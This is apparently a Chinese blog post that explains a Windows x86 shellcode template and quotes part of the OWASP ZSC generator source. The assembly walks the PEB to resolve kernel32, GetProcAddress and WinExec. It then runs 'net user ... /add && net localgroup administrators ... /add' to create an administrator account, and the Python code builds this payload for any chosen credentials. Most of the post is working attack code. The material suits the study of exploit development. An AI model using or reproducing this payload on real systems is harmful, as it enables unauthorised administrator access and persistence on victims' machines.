• ShellCode模板


    前言

    • 在上一篇文章上使用到的添加用户的shellcode是怎么得到的呢?
    • 先来拆分一下汇编的功能
    ;寻找kernel32.dll的基地址
    xor         ecx,ecx
    mov         eax,dword ptr fs:[ecx+30h] ; EAX = PEB
    mov         eax,dword ptr [eax+0Ch] ; EAX = PEB->Ldr
    mov         esi,dword ptr [eax+14h] ; ESI = PEB->Ldr.InMemOrder
    lods        dword ptr [esi] ; EAX = Second module
    xchg        eax,esi ; EAX = ESI, ESI = EAX
    lods        dword ptr [esi] ; EAX = Third(kernel32)
    mov         ebx,dword ptr [eax+10h] ; EBX = Base address
    ;查找kernel32.dll的导出表
    mov         edx,dword ptr [ebx+3Ch] ; EDX = DOS->e_lfanew
    add         edx,ebx ; EDX = PE Header
    mov         edx,dword ptr [edx+78h] ; EDX = Offset export table
    add         edx,ebx; EDX = Export table
    mov         esi,dword ptr [edx+20h] ; ESI = Offset names table
    add         esi,ebx; ESI = Names table
    xor         ecx,ecx ; EXC = 0
    ;循环查找GetProcAddress函数
    Get_Function:
    inc         ecx; Increment the ordinal
    lods        dword ptr [esi]; Get name offset
    add         eax,ebx ; Get function name
    cmp         dword ptr [eax],50746547h ; GetProcAddress
    jne         0012FE9B;Get_Function
    cmp         dword ptr [eax+4],41636F72h; rocAddress
    jne         0012FE9B;Get_Function
    cmp         dword ptr [eax+8],65726464h; ddress
    jne         0012FE9B;Get_Function
    ;寻找GetProcAddress 函数
    mov         esi,dword ptr [edx+24h]; ESI = Offset ordinals
    add         esi,ebx ; ESI = Ordinals table
    mov         cx,word ptr [esi+ecx*2] ; CX = Number of function
    dec         ecx
    mov         esi,dword ptr [edx+1Ch]; ESI = Offset address table
    add         esi,ebx; ESI = Address table
    mov         edx,dword ptr [esi+ecx*4] ; EDX = Pointer(offset)
    add         edx,ebx ; EDX = GetProcAddress
    push        ebx;PUSH kernel32.Base address
    push        edx;PUSH kernel32.GetProcAddress
    ;寻找WinExec函数地址
    xor         ecx,ecx ; ECX = 0
    push        ecx; PUSH ECX
    mov         ecx,61636578h;string acex
    push        ecx;PUSH ECX
    sub         dword ptr [esp+3],61h;Remove "a" ESP=&0012FE18--->string xec
    push        456E6957h;string EniW
    push        esp;PUSH ESP WinExec
    push        ebx;PUSH EBX kernel32.Base address
    call        edx;CALL GetProcAddress
    add         esp,8;ESP+8
    pop         ecx;ECX=0
    push        eax;PUSH EAX-->kernel32.WinExec Addresss
    ;赋值命令行字符串
    xor         ecx,ecx;ECX=0
    push        ecx;PUSH ECX
    push        64646190h;string dda[90]
    pop         ecx;ECX=string dda[90]
    shr         ecx,8;ECX=00646461 string dda
    push        ecx;PUSH ECX
    push        2F20746Bh
    push        2073726Fh
    push        74617274h
    push        73696E69h
    push        6D646120h
    push        70756F72h
    push        676C6163h
    push        6F6C2074h
    push        656E2026h
    push        26206464h
    push        612F2074h
    push        6B20746Bh
    push        20726573h
    push        75207465h
    push        6E20632Fh
    push        20657865h
    push        2E646D63h
    xor         ebx,ebx;EBX=0
    mov         ebx,esp;EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
    xor         ecx,ecx;ECX=0
    inc         ecx;EXC=1
    push        ecx;PUSH ECX=1
    push        ebx;PUSH EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
    call        eax;CALL WinExec
    ;堆栈平衡
    add         esp,50h;ESP+50h
    pop         edx;EDX=kernel32.GetProcAddress
    pop         ebx;EBX=kernel32.Base Address
    ;退出程序
    xor         ecx,ecx;ECX=0
    mov         ecx,61737365h;string asse
    push        ecx;PUSH ECX
    sub         dword ptr [esp+3],61h;Remove "a"
    push        636F7250h;string  ; Proc
    push        74697845h;string ; Exit
    push        esp;string "ExitProcess"
    push        ebx;kernel32.dll base address
    call        edx; GetProcAddress(Exec)
    xor         ecx,ecx; ECX = 0
    push        ecx; Return code = 0
    call        eax; ExitProcess
    

    OWASP-ZSC部分源码

    • 添加用户的汇编指令
    #!/usr/bin/env python
    '''
    OWASP ZSC
    https://www.owasp.org/index.php/OWASP_ZSC_Tool_Project
    https://github.com/zscproject/OWASP-ZSC
    http://api.z3r0d4y.com/
    https://groups.google.com/d/forum/owasp-zsc [ owasp-zsc[at]googlegroups[dot]com ]
    '''
    from core import stack
    from math import ceil
    
    
    def add_admin(command_hex, command):
        return '''
    xor    %ecx,%ecx
    mov    %fs:0x30(%ecx),%eax
    mov    0xc(%eax),%eax
    mov    0x14(%eax),%esi
    lods   %ds:(%esi),%eax
    xchg   %eax,%esi
    lods   %ds:(%esi),%eax
    mov    0x10(%eax),%ebx
    mov    0x3c(%ebx),%edx
    add    %ebx,%edx
    mov    0x78(%edx),%edx
    add    %ebx,%edx
    mov    0x20(%edx),%esi
    add    %ebx,%esi
    xor    %ecx,%ecx
    inc    %ecx
    lods   %ds:(%esi),%eax
    add    %ebx,%eax
    cmpl   $0x50746547,(%eax)
    jne    23 <.text+0x23>
    cmpl   $0x41636f72,0x4(%eax)
    jne    23 <.text+0x23>
    cmpl   $0x65726464,0x8(%eax)
    jne    23 <.text+0x23>
    mov    0x24(%edx),%esi
    add    %ebx,%esi
    mov    (%esi,%ecx,2),%cx
    dec    %ecx
    mov    0x1c(%edx),%esi
    add    %ebx,%esi
    mov    (%esi,%ecx,4),%edx
    add    %ebx,%edx
    push   %ebx
    push   %edx
    xor    %ecx,%ecx
    push   %ecx
    mov    $0x61636578,%ecx
    push   %ecx
    subl   $0x61,0x3(%esp)
    push   $0x456e6957
    push   %esp
    push   %ebx
    call   *%edx
    add    $0x8,%esp
    pop    %ecx
    push   %eax
    xor    %ecx,%ecx
    push   %ecx
    {0}
    xor    %ebx,%ebx
    mov    %esp,%ebx
    xor    %ecx,%ecx
    inc    %ecx
    push   %ecx
    push   %ebx
    call   *%eax
    add    ${1},%esp
    pop    %edx
    pop    %ebx
    xor    %ecx,%ecx
    mov    $0x61737365,%ecx
    push   %ecx
    subl   $0x61,0x3(%esp)
    push   $0x636f7250
    push   $0x74697845
    push   %esp
    push   %ebx
    call   *%edx
    xor    %ecx,%ecx
    push   %ecx
    call   *%eax
    '''.format(command_hex, hex(int(8 + 4 * (ceil(len(command) / float(4))))))
    
    
    def run(data):
        username = data[0]
        passsword = data[1]
        command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add"
        return add_admin(stack.generate(command, "%ecx", "string"), command)
    
    
    • 拿到用户和密码后拼接成添加用户名的命令行,调用核心模块里的generate函数,生成要执行的命令行存进ecx寄存器里,再根据命令行十六进制的长度提升堆栈空间。

    • generate函数的源码

    def generate(data, register, gtype):
        length = len(data)
        if gtype == 'int':
            flag_8 = True
            try:
                data = hex(int(data, 8))
            except:
                flag_8 = False
            if flag_8 is False:
                try:
                    data = hex(int(data, 16))
                except:
                    error('hex or digit required!
    Exit
    ')
                    sys.exit(0)
        if gtype == 'string':
            data = st(data)
        if length <= 3:
            if gtype == 'string':
                data = str('0x') + str(data)
            if len(data) % 2 is not 0:
                data = data.replace('0x', '0x0')
            if len(data) is 8:
                data = data + '90
    pop %s
    shr $0x8,%s
    push %s
    ' % (
                    register, register, register)
            if len(data) is 6:
                data = data + '9090
    pop %s
    shr $0x10,%s
    push %s
    ' % (
                    register, register, register)
            if len(data) is 4:
                data = data + '909090
    pop %s
    shr $0x10,%s
    shr $0x8,%s
    push %s
    ' % (
                    register, register, register, register)
            data = str('push $') + str(data)
        if length >= 4:
            if gtype == 'int':
                data = data[2:]
            stack_content = data
            shr_counter = len(stack_content) % 8
            shr = None
            if shr_counter is 2:
                shr = '
    pop %s
    shr    $0x10,%s
    shr    $0x8,%s
    push %s
    ' % (
                    register, register, register, register)
                stack_content = stack_content[0:2] + '909090' + stack_content[2:]
            if shr_counter is 4:
                shr = '
    pop %s
    shr    $0x10,%s
    push %s
    ' % (register, register,
                                                                register)
                stack_content = stack_content[0:4] + '9090' + stack_content[4:]
            if shr_counter is 6:
                shr = '
    pop %s
    shr    $0x8,%s
    push %s
    ' % (register, register,
                                                               register)
                stack_content = stack_content[0:6] + '90' + stack_content[6:]
            zshr = shr
            m = int(len(stack_content))
            n = int(len(stack_content) / 8)
            file_shellcode = ''
            if (len(stack_content) % 8) is 0:
                shr_n = 0
                r = ''
                while (n is not 0):
                    if shr is not None:
                        shr_n += 1
                        zx = m - 8
                        file_shellcode = 'push $0x' + str(stack_content[
                            zx:m]) + '
    ' + file_shellcode
                        m -= 8
                        n = n - 1
                        shr = None
                    if shr is None:
                        shr_n += 1
                        zx = m - 8
                        file_shellcode = 'push $0x' + str(stack_content[
                            zx:m]) + '
    ' + file_shellcode
                        m -= 8
                        n = n - 1
                if zshr is None:
                    file_z = file_shellcode
                if zshr is not None:
                    rep1 = file_shellcode[:16]
                    rep2 = rep1 + zshr
                    file_z = file_shellcode.replace(rep1, rep2)
            data = file_z
        return data
    
    • 接受三个参数,data, register, gtype分别是数据,存储到哪一个寄存器,数据类型。
  • 相关阅读:
    turtle绘制彩色螺旋线
    turtle 画一朵花
    Spark Streaming+Kafka提交offset实现有且仅有一次(exactly-once)
    利用Spark实现Oracle到Hive的历史数据同步
    spark-submit提交Spark Streamming+Kafka程序
    SparkStreaming+Kafka 实现统计基于缓存的实时uv
    SparkStreaming+Kafka 实现基于缓存的实时wordcount
    基于OGG的Oracle与Hadoop集群准实时同步介绍
    Spark Streaming连接Kafka入门教程
    spark连接hive(spark-shell和eclipse两种方式)
  • 原文地址:https://www.cnblogs.com/Kali-Team/p/12260582.html
Copyright © 2020-2023  润新知